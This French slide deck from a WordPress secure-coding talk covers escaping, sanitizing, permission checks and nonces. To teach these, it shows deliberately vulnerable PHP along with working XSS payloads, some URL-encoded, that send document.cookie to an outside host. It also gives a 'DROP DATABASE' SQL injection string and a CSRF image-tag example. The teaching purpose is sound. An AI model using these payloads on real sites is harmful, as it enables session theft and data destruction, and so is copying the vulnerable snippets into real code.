1 of 39

Comment écrire du code sécure

Stéphane Boisvert

WordPress.com VIP

@StephBoisvert

2 of 39

Cette présentation inclut:

  • Pourquoi on doit toujours écrire du code sécure
  • Comment:
    • Échapper (Escaping)
    • Nettoyer (Sanitize)
    • Vérifier les permissions
    • Vérifier l’intention de l’utilisateur

3 of 39

Pourquoi?

“Mon site est inconnu”

  • C’est vrai, vous êtes pas une cible, c’est complètement aléatoire
  • Les hackers frappent tous les sites

“C’est lent”

  • Tous les appels a WP_KSES_() et esc_html() prennent le même montant qu’une requête MYSQL médiocre

4 of 39

Échapement

(Escaping)

5 of 39

Échapement - Pourquoi

<?php

echo '<div > bonjour '. $_GET['nom_utilisateur'] .'</div>';

?>

http://localhost/?nom_utilisateur=<script>alert('dangereux');</script>

%3C%69%6d%67%20%6f%6e%65%72%72%6f%72%3D%22%76%61%72%20%73%3D%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3B%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%27%2F%2F%73%74%65%70%68%62%6f%69%73%76%65%72%74%2e%63%61%2F%63%2F%27%2B%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%29%3B%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%20%73%20%29%3B%61%6c%65%72%74%28%27%62%61%64%27%29%3B%22%20%73%72%63%3D%27%78%27%3E

6 of 39

Échapement - Impact

http://localhost/?nom_utilisateur=<script>var s=document.createElement('script');s.setAttribute('src','//stephboisvert.ca/c/'+encodeURIComponent(document.cookie));document.body.appendChild( s )</script>

7 of 39

Échapement - valeurs chiffrées

Ça semble dangereux:

http://localhost/?nom_utilisateur=<img onerror=\"var s=document.createElement('script');s.setAttribute('src','//stephboisvert.ca/c/'+encodeURIComponent(document.cookie));document.body.appendChild( s )" src='x'>

Ça semble innocent :

http://localhost/?nom_utilisateur=%3C%69%6d%67%20%6f%6e%65%72%72%6f%72%3D%22%76%61%72%20%73%3D%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3B%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%27%2F%2F%73%74%65%70%68%62%6f%69%73%76%65%72%74%2e%63%61%2F%63%2F%27%2B%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%29%3B%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%20%73%20%29%3B%61%6c%65%72%74%28%27%62%61%64%27%29%3B%22%20%73%72%63%3D%27%78%27%3E

Même effet!

8 of 39

Échapement - strip_tags()!

<?php�echo '<div > bonjour '. strip_tags($_GET['nom_utilisateur'], array('a','b','i','img') ) .'</div>'�?>

http://localhost/?nom_utilisateur=<img onerror="alert('dangereux');" src='x'>

http://localhost/?nom_utilisateur=<b onclick="alert('dangereux');">steph</b>

%3C%69%6d%67%20%6f%6e%65%72%72%6f%72%3D%22%76%61%72%20%73%3D%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3B%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%27%2F%2F%73%74%65%70%68%62%6f%69%73%76%65%72%74%2e%63%61%2F%63%2F%27%2B%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%29%3B%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%20%73%20%29%3B%61%6c%65%72%74%28%27%62%61%64%27%29%3B%22%20%73%72%63%3D%27%78%27%3E

9 of 39

Échapement - img on_error

Un commentaire innocent:

Ce produit est excellent! <img onerror=\"var s=document.createElement('script');s.setAttribute('src','//stephboisvert.ca/c/'+encodeURIComponent(document.cookie));document.body.appendChild( s )" src='x'>

Ceci envoit l’information d’authentification à un tiers parti!

10 of 39

Échapement - Base de données

$wpdb->query("INSERT INTO revue (revue) VALUES '".strip_tags( $_GET[ 'revue' ], '<a><b><i><img>')."' ");

$revue = $wpdb->get_var("SELECT revue FROM revue WHERE item_ID = 1 LIMIT 1");

echo $revue;

http://localhost/?revue=Ce%20produit%20est%20excellent<img onerror="alert('dangereux');" src='x'>

11 of 39

Échapement - Combinaison

Même si tu enleve toutes les balises html tu n’es pas protégé

Revue 1:

Ce produit est incroyable<img src="

Revue 2

Achetez en un!" onerror=alert('dangereux');">

End Result:

Ce produit est incroyable<img src="

<div>autre text</div>

Achetez en un!" onerror=alert('dangereux');">

12 of 39

Comment échaper

Fonctions fournies par WordPress:

esc_html()

esc_attr()

WP_KSES

wp_strip_all_tags()

esc_url()

esc_js()

wp_json_encode()

13 of 39

Échapement - esc_html() & esc_attr()

$chaine = <img onerror="alert('dangereux');" src='x'>�echo '<div class="'. esc_attr( $chaine ) . ' "> salut '. esc_html( $chaine ) .'</div>';

Avant:

<div class="<img onerror="alert('dangereux');" src='x'> "> salut <img onerror="alert('dangereux');" src='x'></div>

Après:

<div class="&lt;img onerror=&quot;alert(&#039;dangereux&#039;);&quot; src=&#039;x&#039;&gt;"> salut &lt;img onerror=&quot;alert(&#039;dangereux&#039;);&quot; src=&#039;x&#039;&gt;</div>

Résultat final:

salut <img onerror="alert('dangereux');" src='x'>

Le code n’est pas interpréter!

14 of 39

Échapement - WP_KSES

$chaine = <img onerror="alert('dangereux');" src='x'><a href="http://stephboisvert.ca" onclick="alert('dangereux')">

echo '<div >Revue: '. wp_kses_post( $chaine) .'</div>';

Avant:

<img onerror="alert('dangereux');" src='x'><a href="http://stephboisvert.ca" onclick="alert('dangereux')">

Après:

<img src='x'><a href="http://stephboisvert.ca">

15 of 39

Échapement - WP_KSES

  • wp_kses_post() - valeurs prédéfinies par défaut

  • wp_kses() - passer une liste des balises et attributs permis

  • Utiliser le filtre wp_kses_allowed_html pour modifier les balises et attributs permis par défaut

16 of 39

Échapement - esc_url()

1) esc_url('stephboisvert.ca/"><script>alert('dangereux');</script>');

=>

http://stephboisvert.ca/scriptalert(&#039;dangereux&#039;);/script

Enlèves completement les valeurs inappropriés

2) esc_url('stephboisvert.ca');

=>

http://stephboisvert.ca

Arrange les URL

17 of 39

Échapement - esc_js

Doit seulement être utilisé dans les attributs HTML

Correct:�<div onclick="alert(\' ' . esc_js( $nom_utilisateur ) . '\')">

Incorrect:

<script>alert(" ' . esc_js( $nom_utilisateur ) . ' ");</script>

esc_js converti les entités HTML, enlève les fins de ligne (\n\r)

mais n’enlève pas les ' (tandis que esc_html et esc_attr les enlève)

18 of 39

Échapement - wp_json_encode

Pour sortir des données PHP en format Javascript

Incorrect:

<script>alert( " ' . esc_js( $nom_utilisateur ) . ' " );</script>

Correct:

<script>alert( ' .wp_json_encode( $nom_utilisateur ) . ' );</script>

Prenez note que wp_json_encodes ajoute des “ ”.

wp_json_encode traite les arrays et les objets (seulement les variables publics )

19 of 39

Nettoyer

(Sanitize)

20 of 39

Nettoyer - Pourquoi?

$wpdb->query("INSERT INTO revue (revue) VALUES '".strip_tags($_GET['revue'], '<a><b><i><img>')."'

http://localhost/?revue='; DROP DATABASE;

Peut supprimer la base de données ainsi que révéler les noms d’utilisateur et les mots de passe.

21 of 39

Utiliser $wpdb->prepare()

Sécure mais sous-optimale:

$wpdb->query(

$wpdb->prepare( " INSERT INTO revue (revue) VALUES %s ",

$_GET['revue']

)

);

Toujours nettoyer avant d’enregistrer les données:

$wpdb->query(

$wpdb->prepare( " INSERT INTO revue (revue) VALUES %s ",

wp_kses_post( $_GET['revue'] )

)

);

22 of 39

Nettoyer votre base de données

$wpdb->query(

"SELECT FROM revue WHERE revue LIKE ' ". esc_like( sanitize_text_field( $_GET['revue'] ) ) . " ' "

);

Incorrect :(

esc_like() converti les valeurs pour qu’ils fonctionnent comme prévus

Échappe seulement les % (percent) et _ (tiret bas) and \ (barre oblique) par ce que il on une fonction spécial dans les commandes LIKE.

Échapper les valeurs avec $wpdb->prepare( );

23 of 39

Nettoyer - utiliser prepare()

Si vous avez une variable vous devez utiliser $wpdb->prepare()

$wpdb->query(

$wpdb->prepare( " INSERT INTO revue (revue) VALUES %s ",

wp_kses_post( $_GET[ 'revue' ] )

)

);

Pas de variable pas de : $wpdb->prepare()

$wpdb->query( " INSERT INTO revue (revue) VALUES 'Ceci est un test' " ) );

24 of 39

Wpdb espaces réservés (placeholder)

%s espaces réservés pour des chaines de charactère

%d espaces réservés pour des nombres ou des nombres séparé pas des virgules ( “1, 5, 200” )

25 of 39

Fonctions de Nettoyage

sanitize_text_field()

tag_escape()

sanitize_html_class

is_email()

validate_file()

esc_url_raw()

sanitize_email()

sanitize_file_name()

sanitize_html_class()

sanitize_key()

sanitize_mime_type()

sanitize_option()

sanitize_sql_orderby()

sanitize_text_field()

sanitize_title_for_query()

sanitize_title_with_dashes()

sanitize_user()

sanitize_meta()

sanitize_term()

sanitize_term_field()

26 of 39

Nettoyer, toujours nettoyer

Valider le plus possible. Soyez le plus stricte possible.

Utiliser in_array() pour vérifier si la valeurs est permise.

Si vous vous attendez a un nombre ( “int” ), utiliser intval()

Si vous vous attendez a un URL, une adresse courriel, validé les avec

is_email(), sanitize_email(), esc_url_raw()

27 of 39

Permission

Current_user_can

28 of 39

Current_user_can

https://codex.wordpress.org/Roles_and_Capabilities

Les “Rôles” ne sont pas des Capacités ( “Capabilities” )

Un utilisateur a des “Rôle”, Un role a des “capabilities”. (Vous pouvez assigner des capabilities a des utilisateurs, mais vous devriez probablement pas)

Example de rôle:

Auteur (Author)

Éditeur (Editor)

Example de Capacités:

edit_posts

manage_options

29 of 39

Current_user_can - Pourquoi?

add_action( 'wp_ajax_sb_maj_utilisateur', 'sb_maj_utilisateur' );

function sb_maj_utilisateur() {

update_option( 'sb_utilisateur', sanitize_text_field( $_POST['utilisateur'] ));

}

http://stephboisvert.ca/admin-ajax.php?utilisateur=EVIL

N’importe qui avec un compte (comme les commentateurs) peuvent mettre ceci a jours!!

30 of 39

Current_user_can

Quand vous prenez une action vérifier toujours les permissions avec current_user_can:

add_action( 'wp_ajax_sb_maj_utilisateur', 'sb_maj_utilisateur' );

function sb_maj_utilisateur() {

if ( ! current_user_can( 'manage_options' ) ){

return false;

}

update_option( 'sb_name', sanitize_text_field( $_POST[ 'utilisateur' ] ));

}

Listes des capacités par défaut: https://codex.wordpress.org/Roles_and_Capabilities

31 of 39

Current_user_can

Quand vous mettez à jour un “Post”, vérifier si l’utilisateur a accès a cet objet Post en particulier.

function sb_maj_utilisateur() {

$post_id = inval( $_GET[ 'post_id' ] );

if ( ! current_user_can( 'edit_post', $post_id ) ){

return false;

}

update_post_meta( $post_id, 'sb_meta_key', sanitize_text_field( $_GET[ 'post_meta' ] ));

}

32 of 39

Crée vos propre role!

add_role()

remove_role()

Doit seulement être exécuter une seule fois, Ensuite c’est stocker dans la base de donnée.

add_role( ‘steph_maj_post’, ‘Steph MAJ’, array(‘read’,’edit_sb_maj_post_meta’) );

Le rôle va apparaitre comme Steph MAJ dans le menu déroulant

L’utilisateur sera capable de lire (read) les posts et aura la capabilité personalisé edit_sb_post_meta

33 of 39

Create your own Capabilities

$role = get_role( ‘editor’ );

$role->add_cap( ‘edit_sb_maj_post_meta’ );

A seulement besoin d’êtres exécuter une fois, ensuite c’est stoker dans la base de données.

Exécuter sur l’activation du thèmes ou de l’extension (plugin)

34 of 39

Custom Capabilities

function sb_maj_post_meta() {

$post_id = inval( $_GET[ 'post_id' ] );

if ( ! current_user_can( 'edit_sb_maj_post_meta' ) ){

return false;

}

update_post_meta( $post_id, 'sb_cle_meta', sanitize_text_field( $_GET[ 'utilisateur' ] ));

}

35 of 39

Nonces

(On peut, mais est ce qu’on veut?)

36 of 39

Nonces - C’est tu mois qui a fait sa?

Que ce passe t’il si je vais a un autre site web qui contient ceci:

<img src=”http://stephboisvert.ca/admin-ajax.php?post_id=123&utilisateur=dangereux”>

J’ai les permissions néssésaire pour executer sb_update_post_meta() Mais j’avais pas l’intention.

$nonce = wp_create_nonce( 'update_sb_maj_post_meta' );

<a href='<?php echo esc_url( http://stephboisvert.ca/admin-ajax.php?post_id=123&utilisateur=BIEN&_wpnonce=" . $nonce); ?>'>Mise a jour</a>

'update_sb_maj_post_meta' Est le nom de l’action

37 of 39

Nonces - C’est tu moi qui a fait sa?

wp_nonce_url():

$end_url = wp_nonce_url( home_url('/page/'), 'edit_sb_maj_post_meta'.$post->ID, 'nom_de_la_variable_nonce' );

wp_verify_nonce():

wp_verify_nonce( $_GET[ ‘nom_de_la_variable_nonce’ ], 'edit_sb_maj_post_meta'.$post->ID );

wp_nonce_field():

wp_nonce_field( ‘edit_sb_maj_post_meta'.$post->ID ): =>

<input type="hidden" id="_wpnonce" name="_wpnonce" value="796c7766b1" />

check_admin_referer():

check_admin_referer( ‘edit_sb_maj_post_meta'.$post->ID );

https://codex.wordpress.org/WordPress_Nonces

38 of 39

Autre chose aléatoire

“Type Juggling”:

Quand vous utiliser in_array() -> utiliser le paramêtre strict http://php.net/manual/en/types.comparisons.php

N’oubliez pas -1

$num_posts = min( 100, $nombre_maximum ) - Mais qu’est ce qui arrive si $nombre_maximum = -1 ?

Traduction:

sprintf( esc__html__( “Titre: %s , post_id: %d ), esc_html( $titre ), $post_id );

Les traducteur peuvent changer %d to %s !

Si $post_id = “<script>alert(‘dangereux’)</script>” - Insécure!

Comparé les hash avec hash_equals()

39 of 39

Questions?

@StephBoisvert

Vip.WordPress.com

Travailler a WordPress.com

http://automattic.com/work-with-us/vip-wrangler/